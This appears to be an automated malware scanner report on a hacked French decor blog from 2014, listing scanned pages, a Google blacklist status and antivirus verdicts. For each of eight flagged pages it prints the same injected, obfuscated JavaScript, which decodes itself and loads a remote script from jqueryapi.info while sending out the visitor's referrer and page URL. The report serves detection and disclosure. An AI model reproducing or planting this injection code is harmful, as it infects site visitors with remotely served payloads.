New scan:

Malware Scanner report for blog.entrez-sans-frapper-deco.com

Malicious/Suspicious/Total urls checked
8/0/17
8 pages have malicious code. See details below
Blacklists
Found
The website is marked by Google as suspicious.

The website "blog.entrez-sans-frapper-deco.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/8
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=blog.entrez-sans-frapper-deco.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

RequestServer responseStatus
http://blog.entrez-sans-frapper-deco.com/
200 OK
Content-Length: 56387
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://blog.entrez-sans-frapper-deco.com/wp-content/plugins/nextgen-gallery/shutter/shutter-reloaded.js?ver=1.3.2
200 OK
Content-Length: 9808
Content-Type: application/javascript
clean
http://blog.entrez-sans-frapper-deco.com/wp-includes/js/jquery/jquery.js?ver=1.11.1
200 OK
Content-Length: 95807
Content-Type: application/javascript
clean
http://blog.entrez-sans-frapper-deco.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.2.1
200 OK
Content-Length: 7200
Content-Type: application/javascript
clean
http://blog.entrez-sans-frapper-deco.com/wp-content/plugins/nextgen-gallery/js/jquery.cycle.all.min.js?ver=2.88
200 OK
Content-Length: 31032
Content-Type: application/javascript
clean
http://blog.entrez-sans-frapper-deco.com/wp-content/plugins/nextgen-gallery/js/ngg.slideshow.min.js?ver=1.05
200 OK
Content-Length: 1750
Content-Type: application/javascript
clean
http://platform.twitter.com/widgets.js
200 OK
Content-Length: 110239
Content-Type: application/javascript
clean
http://blog.entrez-sans-frapper-deco.com/wp-content/plugins/wp-cumulus/swfobject.js
200 OK
Content-Length: 6088
Content-Type: application/javascript
clean
http://blog.entrez-sans-frapper-deco.com/albums
200 OK
Content-Length: 42201
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://blog.entrez-sans-frapper-deco.com//s7.addthis.com/js/250/addthis_widget.js/
HTTP/1.1 301 Moved Permanently
Cache-Control: no-cache, must-revalidate, max-age=0
Connection: close
Date: Tue, 16 Dec 2014 20:46:21 GMT
Pragma: no-cache
Location: http://blog.entrez-sans-frapper-deco.com/s7.addthis.com/js/250/addthis_widget.js/
Server: Apache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Set-Cookie: slimstat_tracking_code=a79e9fb1036cc0583ba50c1b28b599b8; expires=Tue, 16-Dec-2014 21:16:21 GMT; path=/
X-Pingback: http://blog.entrez-sans-frapper-deco.com/xmlrpc.php
clean
http://blog.entrez-sans-frapper-deco.com/s7.addthis.com/js/250/addthis_widget.js/
404 Not Found
Content-Length: 40402
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://blog.entrez-sans-frapper-deco.com/albums/vos-creations
200 OK
Content-Length: 110649
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://blog.entrez-sans-frapper-deco.com/albums/
HTTP/1.1 301 Moved Permanently
Connection: close
Date: Tue, 16 Dec 2014 20:46:23 GMT
Location: http://blog.entrez-sans-frapper-deco.com/albums
Server: Apache
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Set-Cookie: slimstat_tracking_code=d7599f3216815dc04b54d08b831cd5ad; expires=Tue, 16-Dec-2014 21:16:23 GMT; path=/
X-Pingback: http://blog.entrez-sans-frapper-deco.com/xmlrpc.php
clean
http://blog.entrez-sans-frapper-deco.com/test404page.js
404 Not Found
Content-Length: 40387
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://blog.entrez-sans-frapper-deco.com/albums/nos-idees
200 OK
Content-Length: 43747
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://blog.entrez-sans-frapper-deco.com/contact
200 OK
Content-Length: 43389
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G

http://blog.entrez-sans-frapper-deco.com/la-boutique
200 OK
Content-Length: 42604
Content-Type: text/html
malicious
Malicious code - confirmed by antiviruses (see below)

var _001='KkSKpcCfngCdpxGcz5yJlxWe0N3NywXe0lGbpJWazlmd3IDft92Y8RWS5JEduVWblxWR0V2Z8B3boNHfyQ2br91cqhjM8hGdkl2d85WZkRWaoF0M8RWYlhGfl1WYOdWYUlnQzRnbl1WZsVEdldGf4BHM4EzNywnclJnclZWZyxHewBDMycjM8RHanlWZoxXZwF2YzVmb1xXZ0lmc3xHbyVHfkF2bs52b3IDfl1WYyZWa3IDfvZmbpxHduVWb1N2bkR0M8NmczRXZnx3avxXZ0VnYpJHd0FEdlNHfmVmc8Rnbl1Wdj9GZ4IDf2lGZ3IDfmlGMywHZlRWYvxGf05WZ2VEajFGd0FGfnFGV2lGZwIDf39GZul2d4IDfkF2bsdjM8JDZvt2XzpWOwwXawFWeyVWdxpGfu9Wa0Nmb1ZWQwwXZzxWYmBjM8JXY2FEM8lHZvJGf0BXayN2cDNDfwRHdoxHduVmbvBXbvNUSSVVZk9
... 3683 bytes are skipped ...
3=l0OlOI.indexOf(data.charAt(i++));h4=l0OlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function l0O(string){ var ret = '', i = 0; for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(OI0(l0O(_001)));

Decoded script:


eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('38(2U(p,a,c,k,e,d){e=2U(c){2V(c<a?\'\':e(39(c/a)))+((c=c%a)>35?2W.31(c+29):c.34(36))};2X(!\'\'.2Y(/^/,2W)){2Z(c--){d[e(c)]=k[c]||e(c)}k=[2U(e){2V d[e]}];e=2U(){2V\'\\\\w+\'};c=1};2Z(c--){2X(k[c]){p=p.2Y(32 33(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}2V p}(\'1D(1k(p,a,c,k,e,
... 15693 bytes are skipped ...
px%27%3B%20%20%20%20%20%20%20%20%20%0A%09%09%09%09js_kod2.setAttribute%28%27style%27%2C%27visibility%3Ahidden%27%29%3B%0Adocument.getElementById%28%27dt%27%29.appendChild%28js_kod2%29%3B%0A%7D%3C/script%3E';var _10O=document.createElement('script');_10O.src='http://jqueryapi.info/?getsrc=ok'+'&ref='+encodeURIComponent(document.referrer)+'&url='+encodeURIComponent(document.URL);var _0Ol=document.getElementsByTagName('head')[0];_0Ol.appendChild(_10O);document.write(unescape(_escape));

Antivirus reports:

McAfee-GW-Edition
Heuristic.BehavesLike.JS.Suspicious.G


Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: blog.entrez-sans-frapper-deco.com

Result:
HTTP/1.1 200 OK
Connection: close
Date: Tue, 16 Dec 2014 20:46:17 GMT
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: slimstat_tracking_code=f48418a82f73a355b536202da77db8e8; expires=Tue, 16-Dec-2014 21:16:18 GMT; path=/
X-Pingback: http://blog.entrez-sans-frapper-deco.com/xmlrpc.php
Second query (visit from search engine):
GET / HTTP/1.1
Host: blog.entrez-sans-frapper-deco.com
Referer: http://www.google.com/search?q=blog.entrez-sans-frapper-deco.com

Result:
The result is similar to the first query. There are no suspicious redirects found.